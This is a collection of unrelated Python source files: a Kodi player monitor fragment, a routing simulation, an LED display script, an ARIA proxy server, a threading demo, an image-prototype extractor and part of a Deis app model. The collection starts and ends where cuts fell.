self.onPlayBackFailed() def _videoMonitor(self): hasFullScreened = False ct = 0 while self.isPlayingVideo() and not util.MONITOR.abortRequested() and not self._closed: self.currentTime = self.getTime() util.MONITOR.waitForAbort(0.1) if xbmc.getCondVisibility('Window.IsActive(videoosd)'): if not self.hasOSD: self.hasOSD = True self.onVideoOSD() else: self.hasOSD = False if xbmc.getCondVisibility('Window.IsActive(seekbar)'): if not self.hasSeekOSD: self.hasSeekOSD = True self.onSeekOSD() else: self.hasSeekOSD = False if xbmc.getCondVisibility('VideoPlayer.IsFullscreen'): if not hasFullScreened: hasFullScreened = True self.onVideoWindowOpened() elif hasFullScreened and not xbmc.getCondVisibility('Window.IsVisible(busydialog)'): hasFullScreened = False self.onVideoWindowClosed() ct += 1 if ct > 9: ct = 0 self.handler.tick() if hasFullScreened: self.onVideoWindowClosed() def _audioMonitor(self): self.started = True self.handler.onMonitorInit() ct = 0 while self.isPlayingAudio() and not util.MONITOR.abortRequested() and not self._closed: self.currentTime = self.getTime() util.MONITOR.waitForAbort(0.1) ct += 1 if ct > 9: ct = 0 self.handler.tick() def shutdown(): global PLAYER PLAYER.close(shutdown=True) del PLAYER PLAYER = PlexPlayer().init()
simulation.py
''' Created on Oct 12, 2016 @author: mwittie CSCI 466 Nov 5, 2018 Program 3 Kyle Hagerman, Benjamin Naylor Git: KyleHagerman, Vispanius ''' import network import link import threading from time import sleep ##configuration parameters router_queue_size = 0 #0 means unlimited simulation_time = 10 #give the network sufficient time to transfer all packets before quitting if __name__ == '__main__': #Routing tables Ra_table = {3:2, 4:3} #router a's out interfaces by destination address of packet Rb_table = {3:1} #router b's out interfaces by destination address of packet Rc_table = {4:1} #router c's out interfaces by destination address of packet Rd_table = {3:2, 4:3} #router d's out interfaces by destination address of packet #initial lookup picks the right table based on current router doing the looking routing_table = {'Router_A': Ra_table, 'Router_B' : Rb_table, 'Router_C' : Rc_table, 'Router_D' : Rd_table} object_L = [] #keeps track of objects, so we can kill their threads #create network nodes client1 = network.Host(1) object_L.append(client1) client2 = network.Host(2) object_L.append(client2) server1 = network.Host(3) object_L.append(server1) server2 = network.Host(4) object_L.append(server2) router_a = network.Router(name='A', intf_count=4, max_queue_size=router_queue_size, routing_table=routing_table) object_L.append(router_a) router_b = network.Router(name='B', intf_count=2, max_queue_size=router_queue_size, routing_table=routing_table) object_L.append(router_b) router_c = network.Router(name='C', intf_count=2, max_queue_size=router_queue_size, routing_table=routing_table) object_L.append(router_c) router_d = network.Router(name='D', intf_count=4, max_queue_size=router_queue_size, routing_table=routing_table) object_L.append(router_d) #create a Link Layer to keep track of links between network nodes link_layer = link.LinkLayer() object_L.append(link_layer) #add all the links #link parameters: from_node, from_intf_num, to_node, to_intf_num, mtu #Host 1 outgoing links link_layer.add_link(link.Link(client1, 0, router_a, 0, 50)) #Host 2 outgoing links link_layer.add_link(link.Link(client2, 0, router_a, 1, 50)) #Router A outgoing links link_layer.add_link(link.Link(router_a, 2, router_b, 0, 50)) link_layer.add_link(link.Link(router_a, 3, router_c, 0, 50)) #Router B outgoing links link_layer.add_link(link.Link(router_b, 1, router_d, 0, 50)) #Router C outgoing links link_layer.add_link(link.Link(router_c, 1, router_d, 1, 50)) #Router D outgoing links link_layer.add_link(link.Link(router_d, 2, server1, 0, 50)) link_layer.add_link(link.Link(router_d, 3, server2, 0, 50)) #start all the objects thread_L = [] #Host threads thread_L.append(threading.Thread(name=client1.__str__(), target=client1.run)) thread_L.append(threading.Thread(name=client2.__str__(), target=client2.run)) thread_L.append(threading.Thread(name=server1.__str__(), target=server1.run)) thread_L.append(threading.Thread(name=server2.__str__(), target=server2.run)) #Router threads thread_L.append(threading.Thread(name=router_a.__str__(), target=router_a.run)) thread_L.append(threading.Thread(name=router_b.__str__(), target=router_b.run)) thread_L.append(threading.Thread(name=router_c.__str__(), target=router_c.run)) thread_L.append(threading.Thread(name=router_d.__str__(), target=router_d.run)) #Link Layer thread thread_L.append(threading.Thread(name="Network", target=link_layer.run)) for t in thread_L: t.start() #create some send events for i in range(3): #This sends a long enough message that it must be segmented before Host 1 sends it #and also fragmented at the router before forwarding client1.udt_send(3, 'Sample data thats at least 80 characters long evident by the two addresses %d' % i) #this is the given starting sample data #it does not require segmentation or fragmentation #client1.udt_send(3, 'Sample data %d' % i) #give the network sufficient time to transfer all packets before quitting sleep(simulation_time) #join all threads for o in object_L: o.stop = True for t in thread_L: t.join() print("All simulation threads joined") # writes to host periodically
snippet.py
####################################################### #### NOW AT A GITHUB REPO #### #### https://github.com/tusing/unicorn_phat #### ####################################################### #!/usr/bin/env python # Display a list of user-defined color bars; # fill the remaining area with sparkles. # Designed for the Unicorn pHAT. # By tusing. import unicornhat as unicorn from random import randint import time, math, colorsys import os, sys, subprocess, threading # Initialization unicorn.set_layout(unicorn.AUTO) unicorn.rotation(0) unicorn.brightness(0.35) # Tune to your preferences. width,height=unicorn.get_shape() # Line number for where each function will begin function_pos = {} # Store values for multithreaded fetching functions. function_values = {} def main(display_function, bar_functions, time_limit=None): """ The main display function. Uses function_pos to assign parts of the display to bar functions and display functions. Args: display_function (func): A function intended to take up the majority of the HAT's display. Should limit display area with the use of function_pos. bar_functions (func): A list of single-row "bars". Again, assign position with the use of function_pos. time_limit (int): How long to wait before quitting (in seconds). """ if bar_functions is not None: for index, bar_function in enumerate(bar_functions): function_pos[bar_function] = width - index - 1 if display_function is not None: function_pos[display_function] = width - len(bar_functions) - 1 else: function_pos[display_function] = width - 1 threads = [threading.Thread(target=function) for function in function_pos.keys()] for thread in threads: thread.start() if time_limit is not None: time.sleep(time_limit) print("Time limit reached!") os._exit(3) ###################################################################### ####################### ########################## ####################### BAR FUNCTIONS ########################## ####################### ########################## ###################################################################### ####################### INTERNET BAR ########################## def internet_color(update_rate=5): """ Color bar - tests internet connectivity. Displays white if connected; orange if not. Args: update_rate (float): seconds to wait before checking connectivity again """ # Ping a Google DNS server to check for internet connectivity. while True: ping_response = subprocess.Popen(["/bin/ping", "-c1", "-w100", "8.8.8.8"], stdout=subprocess.PIPE).stdout.read() if "1 received" in str(ping_response): moving_pixel(function_pos[internet_color], (0, 255, 255), (255, 255, 255)) else: moving_pixel(function_pos[internet_color], (255, 255, 255), (255, 127, 80)) unicorn.show() time.sleep(update_rate) def color_bar(position, color): """ Display a single, static bar of ```color``` in ```position```. Args: position (int): the width index at which to display the bar color (int tuple): (R, G, B) tuple of the RGB color to be displayed """ for height_index in range(height): unicorn.set_pixel(position, height_index, *color) return def moving_pixel(position, color, background, speed=0.1, direction="right"): """ Display a right-moving pixel of color ```color``` on a color bar with color ```background``` in position ```position.``` Args: position (int): The width index at which to display the bar animation color (int tuple): (R, G, B) tuple of the moving pixel's color background (int tuple): (R, G, B) tuple of the background color speed (float): how often to wait between pixel movements direction (string, "left" or "right"): the direction the pixel should move, with "right" being towards the USB ports """ for height_index in range(height): color_bar(position, background) if direction == "right": unicorn.set_pixel(position, height_index, *color) if direction == "left": unicorn.set_pixel(position, height - height_index - 1, *color) unicorn.show() time.sleep(speed) color_bar(position, background) unicorn.show() ###################################################################### ####################### ########################## ####################### FETCHER FUNCTIONS ########################## ####################### ########################## ###################################################################### def load_fetcher(update_rate=5): """ Get the load of the system and modify the relevant dictionary with the new load value. Args: update_rate (float): seconds to wait before fetching load value """ while True: function_values[load_fetcher] = os.getloadavg()[0] time.sleep(update_rate) def random_color(): """ Generate a random RGB color. Returns: int tuple: (R, G, B) values """ r, g, b = randint(0, 255), randint(0, 255), randint(0, 255) return (r, g, b) ###################################################################### ####################### ########################## ####################### DISPLAY FUNCTIONS ########################## ####################### ########################## ###################################################################### ####################### LOAD SPARKLES ########################## def load_sparkles(color_function=None, update_rate=5): """ Fill the rest of the area with randomly-positioned sparkles. Frequency of sparkling increases with load^2 (for load>1). Args: color_function (func): Define a custom function for the sparkles' color, instead of a random rainbow. update_rate (float): How often to refresh system load value (seconds). """ color_function = random_color if color_function is None else color_function def random_pixel(color_function): """ Generate a randomly positioned pixel with the color returned by color_function. Args: color_function (func): Should return a (R,G,B) color value. """ color = color_function() def random_position(): """ Get the position of a random pixel bound by function_pos. """ x = randint(0, function_pos[load_sparkles]) y = randint(0, (height-1)) return (x,y) selected_pixel = random_position() ''' Aesthetic: If the randomly generated pixel is currently lit, turn it off and try with a new pixel. Also works as sort of a population control on how many pixels will be lit. ''' while sum(unicorn.get_pixel(*selected_pixel)) > 0: unicorn.set_pixel(*(selected_pixel + (0, 0, 0))) selected_pixel = random_position() unicorn.set_pixel(*(selected_pixel + color)) return ''' Sparkle with a frequency based off of the computer's current load. Fetch load value every update_rate seconds.''' function_values[load_fetcher] = 1 threading.Thread(target=load_fetcher).start() while True: tick = 1 if function_values[load_fetcher] > 1: tick = 1/(function_values[load_fetcher]**2) if function_values[load_fetcher] < 12 else 1/144 for i in range(int(update_rate/tick)): random_pixel(color_function) unicorn.show() time.sleep(tick) ####################### LOAD RAINBOW ########################## def load_rainbow(update_rate=5): """ A lightly modified version of Pimeroni's "rainbow" example. Displays a moving rainbow of colors that increases with load. Args: update_rate (float): How often to update the load value (seconds). """ i = 0.0 offset = 30 function_values[load_fetcher] = 1 threading.Thread(target=load_fetcher).start() while True: load_function = function_values[load_fetcher]/10 if function_values[load_fetcher] <= 10 else 10 for w in range(int(update_rate/0.01)): i = i + load_function for y in range(height): for x in range(function_pos[load_rainbow] + 1): r = 0#x * 32 g = 0#y * 32 xy = x + y / 4 r = (math.cos((x+i)/2.0) + math.cos((y+i)/2.0)) * 64.0 + 128.0 g = (math.sin((x+i)/1.5) + math.sin((y+i)/2.0)) * 64.0 + 128.0 b = (math.sin((x+i)/2.0) + math.cos((y+i)/1.5)) * 64.0 + 128.0 r = max(0, min(255, r + offset)) g = max(0, min(255, g + offset)) b = max(0, min(255, b + offset)) unicorn.set_pixel(x,y,int(r),int(g),int(b)) unicorn.show() time.sleep(0.01) ####################### LOAD MATRIX ########################## def load_matrix(update_rate=5): """ A heavily modified version of Pimeroni's "cross" example. Speed increases with n*load^2. Args: update_rate (float): seconds to wait before updating load value """ points = [] edge_pixels = [] class LightPoint: def __init__(self): self.direction = randint(1, 4) if self.direction == 1: self.x = randint(0, function_pos[load_matrix]) self.y = 0 elif self.direction == 2: self.x = 0 self.y = randint(0, height - 1) elif self.direction == 3: self.x = randint(0, function_pos[load_matrix]) self.y = height - 1 else: self.x = function_pos[load_matrix] - 1 self.y = randint(0, height - 1) self.colour = [] for i in range(0, 3): self.colour.append(randint(100, 255)) self.oldxy = (self.x, self.y) def update_positions(): for point in points: # Any point already at an edge has been in display at this # edge for ```tick``` seconds already, so we delete it. check_edges(point) point.oldxy = (point.x, point.y) if point.direction == 1: point.y += 1 elif point.direction == 2: point.x += 1 elif point.direction == 3: point.y -= 1 else: point.x -= 1 # Delete points that would cause a boundary violation after # the above coordinate update. check_boundaries(point) unicorn.show() def plot_points(): for point in points: unicorn.set_pixel(point.x, point.y, point.colour[0], point.colour[1], point.colour[2]) unicorn.set_pixel(*(point.oldxy + (0, 0, 0))) unicorn.show() def check_edges(point): """ Deletes points that have reached an edge. Args: point (LightPoint): The point that has reached an edge. """ if (point.x == function_pos[load_matrix] and point.direction is 2) \ or (point.x == 0 and point.direction is 4) \ or (point.y == 0 and point.direction is 3) \ or (point.y == height - 1 and point.direction is 1): unicorn.set_pixel(point.x, point.y, 0, 0, 0) points.remove(point) def check_boundaries(point): """ Deletes points beyond allowed boundaries. Args: point (LightPoint): The point to check for boundary violations. """ if (point.x > function_pos[load_matrix] and point.direction is 2) \ or (point.x < 0 and point.direction is 4) \ or (point.y < 0 and point.direction is 3) \ or (point.y > height - 1 and point.direction is 1): if point in points: points.remove(point) function_values[load_fetcher] = 1 threading.Thread(target=load_fetcher).start() tick_func = lambda load: 0.5/(load**2) if load > 1 else 1/4 max_points = function_pos[load_matrix]*height/3 while True: tick = tick_func(function_values[load_fetcher]) if function_values[load_fetcher] < 12 else tick_func(12) for w in range(int(update_rate/tick)): if len(points) < max_points and randint(0, 5) > 1: points.append(LightPoint()) update_positions() plot_points() time.sleep(tick) if __name__ == "__main__": main(load_matrix, (internet_color,))
server.py
# Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ ``ctx`` proxy server implementation. """ import json import socket import Queue import StringIO import threading import traceback import wsgiref.simple_server import bottle from aria import modeling from .. import exceptions class CtxProxy(object): def __init__(self, ctx, ctx_patcher=(lambda *args, **kwargs: None)): self.ctx = ctx self._ctx_patcher = ctx_patcher self.port = _get_unused_port() self.socket_url = 'http://localhost:{0}'.format(self.port) self.server = None self._started = Queue.Queue(1) self.thread = self._start_server() self._started.get(timeout=5) def _start_server(self): class BottleServerAdapter(bottle.ServerAdapter): proxy = self def close_session(self): self.proxy.ctx.model.log._session.remove() def run(self, app): class Server(wsgiref.simple_server.WSGIServer): allow_reuse_address = True bottle_server = self def handle_error(self, request, client_address): pass def serve_forever(self, poll_interval=0.5): try: wsgiref.simple_server.WSGIServer.serve_forever(self, poll_interval) finally: # Once shutdown is called, we need to close the session. # If the session is not closed properly, it might raise warnings, # or even lock the database. self.bottle_server.close_session() class Handler(wsgiref.simple_server.WSGIRequestHandler): def address_string(self): return self.client_address[0] def log_request(*args, **kwargs): # pylint: disable=no-method-argument if not self.quiet: return wsgiref.simple_server.WSGIRequestHandler.log_request(*args, **kwargs) server = wsgiref.simple_server.make_server( host=self.host, port=self.port, app=app, server_class=Server, handler_class=Handler) self.proxy.server = server self.proxy._started.put(True) server.serve_forever(poll_interval=0.1) def serve(): # Since task is a thread_local object, we need to patch it inside the server thread. self._ctx_patcher(self.ctx) bottle_app = bottle.Bottle() bottle_app.post('/', callback=self._request_handler) bottle.run( app=bottle_app, host='localhost', port=self.port, quiet=True, server=BottleServerAdapter) thread = threading.Thread(target=serve) thread.daemon = True thread.start() return thread def close(self): if self.server: self.server.shutdown() self.server.server_close() def _request_handler(self): request = bottle.request.body.read() # pylint: disable=no-member response = self._process(request) return bottle.LocalResponse( body=json.dumps(response, cls=modeling.utils.ModelJSONEncoder), status=200, headers={'content-type': 'application/json'} ) def _process(self, request): try: with self.ctx.model.instrument(*self.ctx.INSTRUMENTATION_FIELDS): payload = _process_request(self.ctx, request) result_type = 'result' if isinstance(payload, exceptions.ScriptException): payload = dict(message=str(payload)) result_type = 'stop_operation' result = {'type': result_type, 'payload': payload} except Exception as e: traceback_out = StringIO.StringIO() traceback.print_exc(file=traceback_out) payload = { 'type': type(e).__name__, 'message': str(e), 'traceback': traceback_out.getvalue() } result = {'type': 'error', 'payload': payload} return result def __enter__(self): return self def __exit__(self, *args, **kwargs): self.close() class CtxError(RuntimeError): pass class CtxParsingError(CtxError): pass def _process_request(ctx, request): request = json.loads(request) args = request['args'] return _process_arguments(ctx, args) def _process_arguments(obj, args): # Modifying? try: # TODO: should there be a way to escape "=" in case it is needed as real argument? equals_index = args.index('=') # raises ValueError if not found except ValueError: equals_index = None if equals_index is not None: if equals_index == 0: raise CtxParsingError('The "=" argument cannot be first') elif equals_index != len(args) - 2: raise CtxParsingError('The "=" argument must be penultimate') modifying = True modifying_key = args[-3] modifying_value = args[-1] args = args[:-3] else: modifying = False modifying_key = None modifying_value = None # Parse all arguments while len(args) > 0: obj, args = _process_next_operation(obj, args, modifying) if modifying: if hasattr(obj, '__setitem__'): # Modify item value (dict, list, and similar) if isinstance(obj, (list, tuple)): modifying_key = int(modifying_key) obj[modifying_key] = modifying_value elif hasattr(obj, modifying_key): # Modify object attribute setattr(obj, modifying_key, modifying_value) else: raise CtxError('Cannot modify `{0}` of `{1!r}`'.format(modifying_key, obj)) return obj def _process_next_operation(obj, args, modifying): args = list(args) arg = args.pop(0) # Call? if arg == '[': # TODO: should there be a way to escape "[" and "]" in case they are needed as real # arguments? try: closing_index = args.index(']') # raises ValueError if not found except ValueError: raise CtxParsingError('Opening "[" without a closing "]') callable_args = args[:closing_index] args = args[closing_index + 1:] if not callable(obj): raise CtxError('Used "[" and "] on an object that is not callable') return obj(*callable_args), args # Attribute? if isinstance(arg, basestring): if hasattr(obj, arg): return getattr(obj, arg), args token_sugared = arg.replace('-', '_') if hasattr(obj, token_sugared): return getattr(obj, token_sugared), args # Item? (dict, lists, and similar) if hasattr(obj, '__getitem__'): if modifying and (arg not in obj) and hasattr(obj, '__setitem__'): # Create nested dict obj[arg] = {} return obj[arg], args raise CtxParsingError('Cannot parse argument: `{0!r}`'.format(arg)) def _get_unused_port(): sock = socket.socket() sock.bind(('127.0.0.1', 0)) _, port = sock.getsockname() sock.close() return port
02-mt_restaurant.py
import time import sys from threading import Thread from kitchen import Kitchen from burgers import Burger from utils import ( ingredients_list_from_recipe, prepare_ingerdient, flat_generator, select_ingredients, gather_ingredients, ) RECIPES = { "cheeseburger": [ "bun-bottom", "lettuce-slice", "onion-ring", "tomato-slice", "grilled-beefpatty", "cheese-slice", "bun-top", ] } results = [] kitchen = Kitchen() def make_burger(order): recipe = RECIPES[order] ingredients_list = ingredients_list_from_recipe(recipe) ingredients = gather_ingredients(ingredients_list, kitchen.pantry) prepared_ingredients = [prepare_ingerdient(ingredient, kitchen) for ingredient in ingredients] prepared_ingredients = list(flat_generator(prepared_ingredients)) results.append(Burger(order, select_ingredients(recipe, prepared_ingredients))) if __name__ == "__main__": multiplier = int(sys.argv[2]) if len(sys.argv) > 2 else 1 orders = multiplier * sys.argv[1].split(",") start_time = time.time() threads = [] for order in orders: t = Thread(target=make_burger, args=(order,)) t.start() threads.append(t) for t in threads: t.join() for burger in results: burger.taste(RECIPES[order]) print(f"You can eat your delicious '{burger}'") print(f"Delivered {len(orders)} burgers in {time.time()-start_time}s")
extract_prototypes.py
import argparse import os import pretrainedmodels import torch import multiprocessing as mp import torchvision.transforms as transforms from PIL import Image import numpy as np import h5py def parse_arguments(): parser = argparse.ArgumentParser(description="scrape all possible images from ai2thor scene") parser.add_argument( "--class_images_dir", type=str, default="/home/ubuntu/Robothor_class_images/images", help="path where object images stored", ) parser.add_argument( "--out_path", type=str, default="/home/ubuntu/chenjunting/savn/data/object_protos.hdf5", help="path to store prototypes", ) parser.add_argument( "--num_process", type=int, default=16, help="number of processes launched to scrape images parallelly", ) parser.add_argument( "--model", type=str, default="resnet18", help="image encoder in pretrainded_models to extract features" ) parser.add_argument( "--object_types", nargs='*', default=[], help="target objects to save prototype, default save all objects in <class_images_dir>" ) parser.add_argument( "--data_source", type=str, default="online", help="choose from {online, ai2thor}" ) parser.add_argument( "--scenes", nargs='+', default=['FloorPlan_Train1_1', 'FloorPlan_Train1_2', 'FloorPlan_Train1_3', 'FloorPlan_Train1_4', 'FloorPlan_Train1_5', 'FloorPlan_Train2_1', 'FloorPlan_Train2_2', 'FloorPlan_Train2_3', 'FloorPlan_Train2_4', 'FloorPlan_Train2_5', 'FloorPlan_Train3_1', 'FloorPlan_Train3_2', 'FloorPlan_Train3_3', 'FloorPlan_Train3_4', 'FloorPlan_Train3_5', 'FloorPlan_Train4_1', 'FloorPlan_Train4_2', 'FloorPlan_Train4_3', 'FloorPlan_Train4_4', 'FloorPlan_Train4_5', 'FloorPlan_Train5_1', 'FloorPlan_Train5_2', 'FloorPlan_Train5_3', 'FloorPlan_Train5_4', 'FloorPlan_Train5_5', 'FloorPlan_Train6_1', 'FloorPlan_Train6_2', 'FloorPlan_Train6_3', 'FloorPlan_Train6_4', 'FloorPlan_Train6_5', 'FloorPlan_Train7_1', 'FloorPlan_Train7_2', 'FloorPlan_Train7_3', 'FloorPlan_Train7_4', 'FloorPlan_Train7_5', 'FloorPlan_Train8_1', 'FloorPlan_Train8_2', 'FloorPlan_Train8_3', 'FloorPlan_Train8_4', 'FloorPlan_Train8_5', 'FloorPlan_Train9_1', 'FloorPlan_Train9_2', 'FloorPlan_Train9_3', 'FloorPlan_Train9_4', 'FloorPlan_Train9_5', 'FloorPlan_Train10_1', 'FloorPlan_Train10_2', 'FloorPlan_Train10_3', 'FloorPlan_Train10_4', 'FloorPlan_Train10_5', 'FloorPlan_Train11_1', 'FloorPlan_Train11_2', 'FloorPlan_Train11_3', 'FloorPlan_Train11_4', 'FloorPlan_Train11_5', 'FloorPlan_Train12_1', 'FloorPlan_Train12_2', 'FloorPlan_Train12_3', 'FloorPlan_Train12_4', 'FloorPlan_Train12_5'], help="scenes to scrape" ) parser.add_argument( "--gpus", type=int, nargs="+", default=[0] ) parser.add_argument( "--batch_size", type=int, default=20, ) args = parser.parse_args() return args # def transform_visualize(input_image, im_size=224): # all_transforms = transforms.Compose([ # transforms.ToPILImage(), # transforms.Resize(im_size), # transforms.CenterCrop(im_size), # ]) # transformed_image = all_transforms(input_image) # return transformed_image def resnet_input_transform(input_image, im_size=224): all_transforms = transforms.Compose([ # transforms.ToPILImage(), transforms.Resize(im_size), transforms.CenterCrop(im_size), transforms.ToTensor(), transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]), ]) transformed_image = all_transforms(input_image) return transformed_image def mean_O_n(images, gpu, model, batch_size=20): num_images = len(images) proto = None count = 0 for i in range(0, num_images, batch_size): batch_images = [Image.open(img_path) for img_path in images[i: i + batch_size]] batch_tensors = torch.stack([resnet_input_transform(image) for image in batch_images], dim=0).cuda(gpu) batch_features = model.features(batch_tensors) if count == 0: proto = torch.zeros(batch_features.shape[1:]).cuda(gpu) proto = (count * proto + batch_features.mean(dim=0) * batch_features.shape[0]) \ / (count + batch_features.shape[0]) for image in batch_images: image.close() return np.squeeze(proto.cpu().detach().numpy()) # extract prototype for object_type by calculating mean of all images of the class def extract_prototypes(object_type, class_dir, scenes, batch_size, model, data_source, proto_queue, save_shape=(512, 7, 7), gpu_id=0): torch.cuda.set_device(gpu_id) # TODO: add more models options resnet18 = pretrainedmodels.__dict__[model](num_classes=1000, pretrained='imagenet') if torch.cuda.is_available(): resnet18.cuda(gpu_id) images = [] if data_source == "online": images = [os.path.join(class_dir, object_type, img_file) for img_file in os.listdir(os.path.join(class_dir, object_type))] elif data_source == "ai2thor": for scene in scenes: if not os.path.exists(os.path.join(class_dir, scene, object_type)): continue images += [os.path.join(class_dir, scene, object_type, img_file) for img_file in os.listdir(os.path.join(class_dir, scene, object_type))] else: print("data source({}) not allowed, choose from: online, ai2thor".format(data_source)) exit(0) print("start to calculate prototype for object {}".format(object_type)) proto = mean_O_n(images, gpu_id, resnet18, batch_size) proto_queue.put({object_type.replace(" ",""): { "prototype":proto, "num_images":len(images), } }) print("Prototype for object {} has been saved".format(object_type)) return # helper function for multiprocessing def mp_extract_prototypes(rank, args, obj_queue, proto_queue, save_shape): while not obj_queue.empty(): try: object_type = obj_queue.get(timeout=3) except: return gpu_id = args.gpus[rank % len(args.gpus)] # extract_features(scene, args.scene_dir, args.model, save_shape, gpu_id) extract_prototypes(object_type=object_type, class_dir=args.class_images_dir, scenes=args.scenes, batch_size=args.batch_size, model=args.model, data_source=args.data_source, proto_queue=proto_queue, gpu_id=gpu_id) if __name__ == '__main__': args = parse_arguments() # if args.scenes: # scenes = args.scenes.split(',') # else: # all scenes in robothor # scenes = ["FloorPlan_Train{}_{}".format(i, j) for i in range(1, 13) for j in range(1, 6)] obj_queue = mp.Queue() proto_queue = mp.Queue() all_objects = [] if args.object_types == []: if args.data_source == "ai2thor": for scene in args.scenes: if scene not in os.listdir(args.class_images_dir): continue all_objects += os.listdir(os.path.join(args.class_images_dir, scene)) else: all_objects = os.listdir(args.class_images_dir) all_objects = sorted(np.unique(np.array(all_objects))) else: all_objects = args.object_types # put all objects in queue for obj in all_objects: obj_queue.put(obj) processes = [] for rank in range(args.num_process): p = mp.Process(target=mp_extract_prototypes, args=(rank, args, obj_queue, proto_queue, (512, 7, 7))) p.start() processes.append(p) proto_dict = {} for obj in all_objects: proto_dict.update(proto_queue.get()) for p in processes: p.join() with h5py.File(args.out_path, 'w') as f: for key in proto_dict.keys(): f.create_dataset(key.lower(), data=proto_dict[key]['prototype']) print("There are {} images of {}".format(proto_dict[key]['num_images'], key.lower()))
app.py
import logging import re import requests import time from threading import Thread from django.conf import settings from django.db import models from django.db.models import Count, Max from django.core.exceptions import ValidationError from jsonfield import JSONField from api.models import UuidAuditedModel, log_event from api.utils import generate_app_name, app_build_type from api.models.release import Release from api.models.config import Config from api.models.container import Container from api.models.domain import Domain from scheduler import KubeException logger = logging.getLogger(__name__) # http://kubernetes.io/v1.1/docs/design/identifiers.html def validate_id_is_docker_compatible(value): """ Check that the value follows the kubernetes name constraints """ match = re.match(r'^[a-z0-9-]+$', value) if not match: raise ValidationError("App name can only contain a-z (lowercase), 0-9 and hypens") def validate_app_structure(value): """Error if the dict values aren't ints >= 0""" try: if any(int(v) < 0 for v in value.values()): raise ValueError("Must be greater than or equal to zero") except ValueError as err: raise ValidationError(err) def validate_reserved_names(value): """A value cannot use some reserved names.""" if value in settings.DEIS_RESERVED_NAMES: raise ValidationError('{} is a reserved name.'.format(value)) class Pod(dict): pass class App(UuidAuditedModel): """ Application used to service requests on behalf of end-users """ owner = models.ForeignKey(settings.AUTH_USER_MODEL) id = models.SlugField(max_length=24, unique=True, null=True, validators=[validate_id_is_docker_compatible, validate_reserved_names]) structure = JSONField(default={}, blank=True, validators=[validate_app_structure]) class Meta: permissions = (('use_app', 'Can use app'),) @property def select_app_name(self): """Select a unique randomly generated app name""" name = generate_app_name() while App.objects.filter(id=name).exists(): name = generate_app_name() return name def save(self, **kwargs): if not self.id: self.id = generate_app_name() while App.objects.filter(id=self.id).exists(): self.id = generate_app_name() return super(App, self).save(**kwargs) def __str__(self): return self.id def _get_job_id(self, container_type): app = self.id release = self.release_set.latest() version = "v{}".format(release.version) job_id = "{app}_{version}.{container_type}".format(**locals()) return job_id def _get_command(self, container_type): try: # if this is not procfile-based app, ensure they cannot break out # and run arbitrary commands on the host # FIXME: remove slugrunner's hardcoded entrypoint release = self.release_set.latest() if release.build.dockerfile or not release.build.sha: return "bash -c '{}'".format(release.build.procfile[container_type]) else: return 'start {}'.format(container_type) # if the key is not present or if a parent attribute is None except (KeyError, TypeError, AttributeError): # handle special case for Dockerfile deployments return '' if container_type == 'cmd' else 'start {}'.format(container_type) def log(self, message, level=logging.INFO): """Logs a message in the context of this application. This prefixes log messages with an application "tag" that the customized deis-logspout will be on the lookout for. When it's seen, the message-- usually an application event of some sort like releasing or scaling, will be considered as "belonging" to the application instead of the controller and will be handled accordingly. """ logger.log(level, "[{}]: {}".format(self.id, message)) def create(self, *args, **kwargs): """Create a new application with an initial config and release""" config = Config.objects.create(owner=self.owner, app=self) Release.objects.create(version=1, owner=self.owner, app=self, config=config, build=None) def delete(self, *args, **kwargs): """Delete this application including all containers""" try: # attempt to remove containers from the scheduler self._destroy_containers([c for c in self.container_set.exclude(type='run')]) except RuntimeError: pass self._clean_app_logs() return super(App, self).delete(*args, **kwargs) def restart(self, **kwargs): # noqa """ Restart found pods by deleting them (RC will recreate). Wait until they are all drained away and RC has gotten to a good state """ try: # Resolve single pod name if short form (worker-asdfg) is passed if 'name' in kwargs and kwargs['name'].count('-') == 1: if 'release' not in kwargs or kwargs['release'] is None: release = self.release_set.latest() else: release = self.release_set.get(version=kwargs['release']) version = "v{}".format(release.version) kwargs['name'] = '{}-{}-{}'.format(kwargs['id'], version, kwargs['name']) # Fetch the initial set of pods to work from pods = self.list_pods(**kwargs) desired = len(pods) except KubeException: # Nothing was found return [] try: for pod in pods: # This function verifies the delete. Gives pod 30 seconds self._scheduler._delete_pod(pod['name'], str(self)) except Exception as e: err = "warning, some pods failed to stop:\n{}".format(str(e)) log_event(self, err, logging.WARNING) # Wait for pods to start try: timeout = 300 # 5 minutes elapsed = 0 while True: # timed out if elapsed >= timeout: raise RuntimeError('timeout - 5 minutes have passed and pods are not up') # restarting a single pod behaves differently, fetch the *newest* pod # and hope it is the right one. Comes back sorted if 'name' in kwargs: del kwargs['name'] pods = self.list_pods(**kwargs) # Add in the latest name kwargs['name'] = pods[0]['name'] pods = pods[0] actual = 0 for pod in self.list_pods(**kwargs): if pod['state'] == 'up': actual += 1 if desired == actual: break elapsed += 5 time.sleep(5) except Exception as e: err = "warning, some pods failed to start:\n{}".format(str(e)) log_event(self, err, logging.WARNING) # Return the new pods pods = self.list_pods(**kwargs) return pods def restart_old(self, **kwargs): to_restart = self.container_set.all() if kwargs.get('type'): to_restart = to_restart.filter(type=kwargs.get('type')) if kwargs.get('num'): to_restart = to_restart.filter(num=kwargs.get('num')) self._restart_containers(to_restart) return to_restart def _clean_app_logs(self): """Delete application logs stored by the logger component""" try: url = 'http://{}:{}/logs/{}'.format(settings.LOGGER_HOST, settings.LOGGER_PORT, self.id) requests.delete(url) except Exception as e: # Ignore errors deleting application logs. An error here should not interfere with # the overall success of deleting an application, but we should log it. err = 'Error deleting existing application logs: {}'.format(e) log_event(self, err, logging.WARNING) def scale(self, user, structure): # noqa """Scale containers up or down to match requested structure.""" if self.release_set.latest().build is None: raise EnvironmentError('No build associated with this release') requested_structure = structure.copy() release = self.release_set.latest() # test for available process types available_process_types = release.build.procfile or {} for container_type in requested_structure: if container_type == 'cmd': continue # allow docker cmd types in case we don't have the image source if container_type not in available_process_types: raise EnvironmentError( 'Container type {} does not exist in application'.format(container_type)) msg = '{} scaled containers '.format(user.username) + ' '.join( "{}={}".format(k, v) for k, v in list(requested_structure.items())) log_event(self, msg) # iterate and scale by container type 